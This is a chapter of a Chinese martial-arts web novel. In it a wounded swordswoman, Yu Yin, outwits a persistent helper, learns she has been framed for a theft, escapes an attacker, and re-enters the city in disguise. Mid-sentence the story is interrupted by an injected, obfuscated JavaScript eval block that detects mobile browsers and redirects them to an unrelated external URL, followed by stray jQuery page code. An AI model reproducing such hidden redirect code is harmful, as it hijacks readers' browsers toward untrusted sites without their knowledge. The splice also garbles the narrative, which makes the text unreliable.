二人就这么一前一后又走片刻,虞音脚步不停,“说吧,想要什么酬谢?”
“在下岂是图报之人?”
“不要酬谢你跟着我干么?”虞音驻足转身,冷冷的看着他。
月光下他实是俊逸无伦,只是腰间衣料破损显得有些狼狈,倒似被野猫抓了一般。
虞音本是有意忽走忽停,以便观察他底细究竟如何。
此时他二人气息均是微喘,但虞音有伤在身,如此瞧来,这绝非顶尖高手该有的沉稳,她看后倒是稍稍放了心。
思鸿见她本就极白的脸,愈发没了血色,
“虞姑娘,你一个人太危险了!伤势严重绝不可再拖延下去,我并非歹人,我…”他上前一步,想查看她伤势。
虞音猛地后退,右手下意识按向剑柄,牵动伤口,痛的眉间紧蹙。
见他一副慌慌张张的文弱模样,心生厌恶,“婆婆妈妈的,空生了副好皮相,当真麻烦难缠!”
思鸿见她已然应激,温言劝道,“江湖险恶,多个人互相也有个照应,你若不弃,在下愿相随虞姑娘左右。”
“险恶?”虞音嗤笑一声,语带讥讽,“最大的险恶,怕是来历不明、纠缠不休之人。阁下若真有本事,方才台上便该擒住一二刺客,而非在此空口白话。你的‘好意’,我消受不起!”她说到好意之时,故意把声音拉长。
这话又说得极重,便连她话音甫落,也偷瞄了思鸿一眼。
思鸿被她的话噎住,脸上一红,似是委屈又似无奈,“姑娘…你…”
虞音不再看他,转身继续前行,失血带来的眩晕感阵阵袭来,脚步明显迟缓。
她心知必须尽快处理伤口,否则自保都成问题,更别说还要设法去取回娘的七弦琴。
听见身后的脚步声,心道,“此人甩不脱,伤情渐重,硬拼绝非上策。”
思鸿在后面喊道,“虞姑娘,再往前走,便有我一处落脚的小院,备有金创药!不如暂往歇息如何?”
他本不指望虞音答理,不料她真个转身,斜斜的看着他,“确有金创药?”
思鸿见她态度突然有所转化,喜的眉目生春,“确有!确有!就在前方不远,十分隐蔽安全。”
虞音走近两步,她在女子中算是娇小身材,倘若两人并肩而立,虞音差不多刚及思鸿肩头,她又不愿正眼看他,只向上白了他一眼,“…带路罢。”
思鸿喜形于色,忙要搀扶,却被她侧身避开,“不必,我自己能走,你在前引路即可。”
去往小院的路上,思鸿几番寻话闲谈,询问她伤势如何,或是解释方才的误会。
虞音大多沉默以对,或只用单字回应,偶尔开口,也是带着刺的话语。
“虞姑娘,你伤口痛不痛?要不我们停下来休息一下?”
“伤口自然痛,我在你身上割一刀,你看看痛不痛?”
很快,来到一处隐藏在竹林深处的雅致小院。院内陈设简单干净,确实像一处临时落脚点。
思鸿殷勤地取出药箱,里面各式药品、纱布一应俱全。
“姑娘,我帮你…”他选出金创药上前。
“放下,出去。”虞音命令道。
思鸿一怔,依言放下药瓶,退到屋外,贴心地将门带上,“虞姑娘若有需要,唤我一声即可。”
虞音仔细检查了金创药,确认无异后才迅速为自己清洗、上药、包扎。
刀伤疼痛难忍,她咬牙硬挺,一声未吭。处理完毕,感觉体力恢复了些许,但疲惫感也随之涌上。她强打精神,不敢稍有懈怠。
缓缓来到门边,透过门缝观察,见思鸿正背对着房门,坐在院中石凳上,似乎在警惕四周,只是身影显得有些单薄。
她推开房门,声音较之前轻柔了许多,“思公子。”
思鸿立刻回头,关切地问,“包扎好了?感觉如何?”
“多谢公子赠药,感觉好多了。”虞音微微点头示意,又道,“方才…是我失礼了,多谢公子仗义相助。”
思鸿受宠若惊,忙道,“虞姑娘言重了。举手之劳,何足挂齿。”
虞音走近两步,月光照在她苍白的脸上,更增楚楚可怜之态,
“只是…我心中仍有些害怕,那些人或许还会追来。公子方才说此地安全,但我总觉得心绪不宁…”她微微蹙眉,目光望向漆黑的竹林,显得不安。
思鸿立刻说道:“虞姑娘放心,有我…”
“公子,”虞音柔声截住他话头,目光恳切地望向他,“我…我忽然想起,在城中‘济世堂’还寄存了一味家传的灵药,对治疗外伤有奇效,或许能让我恢复得更快些。只是此时夜深…不知公子可否愿意帮我去取来?济世堂的李掌柜与我相熟,你只需说是我让你去的,他便会给你。”
思鸿看她难得流露依赖之色,怔了怔,随即满脸义气深重,“姑娘若是早说,刚才我便去取了!”
方举步欲行,又回身道,“只是姑娘你一人在此若有危险…”
“我就在屋里等你,哪里也不去。你速度快些便好,此地不是十分隐蔽么?”虞音语气轻柔的保证着。
思鸿沉吟片刻,觉得将她一个人留在此地,确实比带着受伤的她夜行进城要安全。她这一夜闹的沸沸扬扬,不知多少人在找她,终于点了点头,
“好!姑娘你锁好门,我速去速回!”转身便快步向院外走去,身影隐进竹林小径中。
看着他远去,虞音面上柔弱感激之色瞬间消失无踪,嘴角一丝计谋得逞的笑意,
“果然是个易骗的…”
她丝毫不耽搁,立刻转身回屋,仔细检查了屋内寥寥几件物品,虽未见可疑之物,但也寻不着任何能证明他身份的线索。
她将物事放回原处,执起长剑,自小院另侧悄入竹林。
行出一二里路,寻得一颗大树,在树上过了一夜,想到从此甩脱了那唠叨麻烦的人,心中说不出的受用。
第二日卯时过半,她找了处清溪,简单洗了下,又将裙衫血迹细心涤净,整个人焕然一新。心中想着,无论如何也得先把娘的七弦琴拿回来。
可当她绕到凉陵府北门外时,发现城门盘查异常严密,守城兵士拿着数张画像仔细比对过往行人。
虞音未敢贸然近前,只远远混在摊贩人多的地方,瞥见那画像上的人竟是自己!虽然画工不怎么样,把她画丑了,却已有三分相似。
她心中一惊,忽闻身旁百姓议论纷纭,
“听说了吗?漱玉坊的花魁,竟是此番盗宝的主谋。”
“何止啊!说是昨夜她连自己人都杀,就为了声东击西,把那‘沧海月明’给偷天换日啦!”
“啧啧,真是知人知面不知心啊!画得真美,心肠却是如此歹毒!”
“全城缉拿呢!赏金丰厚!”
虞音疾步离去,她瞬间便明白了过来,这是昨夜刺杀不成,又设下的毒计!将她诬陷为盗宝贼,借官府之力来捉拿她,让她寸步难行。
“好狠的手段!”她心中暗忖。
这“沧海月明”究竟是什么,她都从未听说过,更别说去盗取,
“这幕后的黑手能量不小,竟能买通官府来栽赃。”
想到此处,心中一阵难过,“我只是刚刚用娘亲的琴声引出这些坏人,便已然如此棘手,真不知当年娘是如何应对的,难怪她…”
虞音不敢冒险入城,只得绕到僻静处,正自思索对策,远远传来一句,“女娃娃,来了也不多待一会,这就走吗?”话音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499520|185990||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
甫落,人影已至。
但见来人是个中年汉子,面带祥和的微笑,穿着身宽松的灰白相间大氅,脖上挂着一串佛珠,不待虞音答话,双掌一翻直攻而来。
昨夜虞音将剑藏于琴底,是以此时剑上无鞘,她挥剑相迎。
那汉子一双肉掌雄浑无匹,尽是抢攻招式,虞音只觉气息窒滞,剑法在对方逼迫下渐显散乱,周身已然尽数在对方掌风所笼罩之下。
她虚晃一招,继而横剑疾划,一招“铁锁横江”递上,那汉子终是血肉之躯,不敢直撄其锋,掌法就这么稍缓之际,虞音已飘然后掠,轻功而去。
那汉子没料到她虚晃一招,下一招看似准备进攻的剑法竟又是虚晃,当下追赶上去,怒喝,“刁滑女娃!哪里逃!还不乖乖受捕!”
追逐间二人已至昨夜竹林,虞音不敢回头,只觉对方就在身后不远处。忽觉一阵劲风袭来,她倏然转身,慌乱中一剑刺出,却见对方左掌已然近身,不及细想,左掌疾迎而上。
双掌相击,虞音臂上伤口剧痛,手掌酸麻,轻呼一声,身体不由自主的被对方掌力击飞,这一下直被震出二三丈远,饶是她轻功上乘,落地后又连退七八步方站稳。再看那中年汉子,满脸祥和,如老树生根般屹立当地。
虞音自知不敌,稍有空隙便会被擒,她甫站稳,右足借力一点,顺势掠入竹林,转身间“嗤嗤嗤”三声,三支袖箭朝那汉子射去。
她虽落了下乘,却借被震飞的力道,加之那汉子躲避暗器,身形几个起落,已是在六七丈之外的竹林里。
她身形娇小,那汉子在竹林中便不如她腾挪灵便,追了片刻不见了她身影,这才又向凉陵府而去。
虞音直奔出五六里方敢停步,此时已是气息急促,忍痛按住臂上刀伤,鲜血透出纱布直流,
“好…好险…不知哪里来的强人!”
此时伤上加伤,换做寻常男子怕是都撑不住,她却也真硬气,浑然不觉处境艰难。
忽然想到月余前初至凉陵府时,路过城北二十里处的一个戏班子,顿时计上心来。
昨夜事发突然,她身上没带银子,只得悄悄潜入,趁着没人取了些男子衣物和妆扮所需。
约莫过了半个时辰,她俨然已经变成另外一人,是漱玉坊中杂役的装扮,手上还拿着些火夫所用的物事。
她把自己最喜爱的衣裙留在了戏班子里,算是抵消了这次借用,心里暗暗算计,等事情结束定要将衣裙赎回。
待到凉陵府大门,已是申时,任那守门兵士如何比对,又如何看得出她便是画中之人。
过了城门她急匆匆的便往漱玉坊方向而去。
坊中事情闹的这般大,昨夜就已由官府管控,上面派下一位尉巡捕侯大人总督此事。
这位侯大人深知里面沧海月明的原委,是以他又将此事下派给临时提拔的一人,如若事情有什么变故,他可将此人推出,不至自身受到牵连,实是老谋深算。
被临时提拔这人名唤褚潮客,兵士称其为褚统领,他是个官场、江湖两路皆通之人,有不少好手为他办事,此时漱玉坊已被他下令封禁。
待虞音来到坊中运送物资的巷道,杂役出入的侧门亦有兵士把守,
“站住!干什么的?”兵士拦下她。
虞音压着嗓子,“我是后厨的帮工,前日告假回家,今日回来上工。”
那兵士打量了她几眼,见她衣着普通,手持后厨器具,不耐的挥了挥手,“进去吧!坊内戒严,进去了可就出不来了!没事别乱跑!”
虞音心中稍定,“哦”了一声走了进去,心中啐道,“狗东西,若不是姑奶奶有伤在身,先宰了你们两条狗!”
如今情势不利,她却也识时务,只在心里骂骂。